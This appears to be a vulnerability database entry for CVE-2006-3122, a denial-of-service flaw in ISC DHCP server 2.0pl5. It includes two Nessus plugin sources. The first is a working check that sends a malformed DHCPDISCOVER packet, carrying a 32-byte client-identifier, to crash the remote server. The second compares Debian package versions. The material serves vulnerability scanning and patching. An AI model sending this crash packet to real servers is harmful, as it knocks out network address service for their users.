Vulnerabilities > CVE-2006-3122 - Resource Management Errors vulnerability in ISC Dhcpd 2.0.Pl5/2.0Pl5

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
isc
CWE-399
nessus

Summary

The supersede_lease function in memory.c in ISC DHCP (dhcpd) server 2.0pl5 allows remote attackers to cause a denial of service (application crash) via a DHCPDISCOVER packet with a 32 byte client-identifier, which causes the packet to be interpreted as a corrupt uid and causes the server to exit with "corrupt lease uid."

Vulnerable Configurations

Part Description Count
Application
Isc
3

Common Weakness Enumeration (CWE)

Nessus

  • NASL familyDenial of Service
    NASL idDHCP_SUPERSEDE_LEASE_DOS.NASL
    descriptionThe ISC DHCP server running on the remote host is affected by a denial of service vulnerability in the supersede_lease() function within file memory.c due to improper handling of DHCPDISCOVER packets that have a client-identifier option that is exactly 32 bytes long. An unauthenticated, remote attacker can exploit this to cause the server to exit unexpectedly.
    last seen2020-06-01
    modified2020-06-02
    plugin id22159
    published2006-08-04
    reporterThis script is Copyright (C) 2006-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/22159
    titleISC DHCP Server supersede_lease() Function DHCPDISCOVER Packet DoS
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(22159);
      script_version("1.14");
      script_cvs_date("Date: 2018/07/10 14:27:32");
    
      script_cve_id("CVE-2006-3122");
      script_bugtraq_id(19348);
    
      script_name(english:"ISC DHCP Server supersede_lease() Function DHCPDISCOVER Packet DoS");
      script_summary(english:"Tries to crash the remote DHCP server.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote DHCP server is affected by a denial of service
    vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The ISC DHCP server running on the remote host is affected by a denial
    of service vulnerability in the supersede_lease() function within file
    memory.c due to improper handling of DHCPDISCOVER packets that have a
    client-identifier option that is exactly 32 bytes long. An
    unauthenticated, remote attacker can exploit this to cause the server
    to exit unexpectedly.");
      script_set_attribute(attribute:"see_also", value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=380273");
      script_set_attribute(attribute:"see_also", value:"https://www.debian.org/security/2006/dsa-1143");
      script_set_attribute(attribute:"see_also", value:"https://lists.debian.org/debian-security-announce/2006/msg00232.html");
      script_set_attribute(attribute:"solution", value:
    "Contact the vendor for a patch or upgrade.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"false");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2006/07/28");
      script_set_attribute(attribute:"plugin_publication_date", value:"2006/08/04");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_end_attributes();
    
      script_category(ACT_DENIAL);
      script_family(english:"Denial of Service");
    
      script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
    
      script_dependencies("dhcp.nasl");
      script_require_keys("DHCP/Running");
    
      exit(0);
    }
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("raw.inc");
    
    get_kb_item_or_exit("DHCP/Running");
    
    sport = 68;
    dport = 67;
    zero = raw_string(0);
    req_good =
      mkbyte(1) +                          # Message type (1 => Boot request)
      mkbyte(1) +                          # hardware type (1 => ethernet)
      mkbyte(6) +                          # hardware address length
      mkbyte(0) +                          # hops
      mkdword(rand()) +                    # transaction id
      mkword(0) +                          # seconds elapsed
      mkword(0) +                          # bootp flags
      mkdword(0) +                         # client IP address
      mkdword(0) +                         # your (client) IP address
      mkdword(0) +                         # next server IP address
      mkdword(0) +                         # relay agent IP address
      mkdword(0xffffffff) + mkword(0xffff) + # client MAC address
      crap(data:zero, length:10) +         # ?
      crap(data:zero, length:64) +         # server host name
      crap(data:zero, length:128) +        # boot file name
      mkdword(0x63825363) +                # magic cookie
      mkbyte(53) + mkbyte(1) + mkbyte(1) + # option 53, DHCP message type = DHCP Discover
      mkbyte(255);
    
    req_not_so_good =
      mkbyte(1) +                          # Message type (1 => Boot request)
      mkbyte(1) +                          # hardware type (1 => ethernet)
      mkbyte(6) +                          # hardware address length
      mkbyte(0) +                          # hops
      mkdword(rand()) +                    # transaction id
      mkword(0) +                          # seconds elapsed
      mkword(0) +                          # bootp flags
      mkdword(0) +                         # client IP address
      mkdword(0) +                         # your (client) IP address
      mkdword(0) +                         # next server IP address
      mkdword(0) +                         # relay agent IP address
      mkdword(0xffffffff) + mkword(0xffff) + # client MAC address
      crap(data:zero, length:10) +         # ?
      crap(data:zero, length:64) +         # server host name
      crap(data:zero, length:128) +        # boot file name
      mkdword(0x63825363) +                # magic cookie
      mkbyte(53) + mkbyte(1) + mkbyte(1) + # option 53, DHCP message type = DHCP Discover
      mkbyte(61) + mkbyte(32) +            # option 61, client id
      crap(32) +
      mkbyte(255);
    
    global_var dport, sport;
    
    function dhcp_send_recv(request)
    {
      if (isnull(request)) return NULL;
    
      local_var filter, ip, pkt, res, udp;
    
      ip = ip();
      udp = udp(
        uh_dport : dport,
        uh_sport : sport
      );
      pkt = mkpacket(ip, udp, payload(request));
    
      filter = string(
        "udp and ",
        "src host ", get_host_ip(), " and ",
        "src port ", dport, " and ",
        "dst port ", sport
      );
      res = send_packet(pkt, pcap_active:TRUE, pcap_filter:filter);
      if (isnull(res)) return NULL;
      return (get_udp_element(udp:res, element:'data'));
    }
    
    # Send several valid requests to ensure the server is accessible and functioning normally
    for (i=0; i<3; i++)
    {
      res = dhcp_send_recv(request:req_good);
      if (
        strlen(res) < 8 ||
        getbyte(blob:res, pos:0) != 2 ||
        substr(res, 4, 7) != substr(req_good, 4, 7)
      ) exit(0, "The remote DHCP service is not configured to allow multiple requests, or it is not functioning normally.");
    }
    
    # Try the exploit.
    dhcp_send_recv(request:req_not_so_good);
    
    # There's a problem if we can't get a response any more.
    res = dhcp_send_recv(request:req_good);
    if (isnull(res)) security_warning(port:dport, protocol:"udp");
    
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-1143.NASL
    descriptionJustin Winschief and Andrew Steets discovered a bug in dhcp, the DHCP server for automatic IP address assignment, which causes the server to unexpectedly exit.
    last seen2020-06-01
    modified2020-06-02
    plugin id22685
    published2006-10-14
    reporterThis script is Copyright (C) 2006-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/22685
    titleDebian DSA-1143-1 : dhcp - programming error
    code
    #%NASL_MIN_LEVEL 80502
    
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Debian Security Advisory DSA-1143. The text 
    # itself is copyright (C) Software in the Public Interest, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(22685);
      script_version("1.14");
      script_cvs_date("Date: 2019/08/02 13:32:19");
    
      script_cve_id("CVE-2006-3122");
      script_xref(name:"DSA", value:"1143");
    
      script_name(english:"Debian DSA-1143-1 : dhcp - programming error");
      script_summary(english:"Checks dpkg output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Debian host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Justin Winschief and Andrew Steets discovered a bug in dhcp, the DHCP
    server for automatic IP address assignment, which causes the server to
    unexpectedly exit."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=380273"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.debian.org/security/2006/dsa-1143"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "Upgrade the dhcp package.
    
    For the stable distribution (sarge) this problem has been fixed in
    version 2.0pl5-19.1sarge2."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:dhcp");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.1");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2006/08/04");
      script_set_attribute(attribute:"plugin_publication_date", value:"2006/10/14");
      script_set_attribute(attribute:"vuln_publication_date", value:"2006/07/28");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");
      script_family(english:"Debian Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("debian_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
    if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    if (deb_check(release:"3.1", prefix:"dhcp", reference:"2.0pl5-19.1sarge2")) flag++;
    if (deb_check(release:"3.1", prefix:"dhcp-client", reference:"2.0pl5-19.1sarge2")) flag++;
    if (deb_check(release:"3.1", prefix:"dhcp-relay", reference:"2.0pl5-19.1sarge2")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());
      else security_warning(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");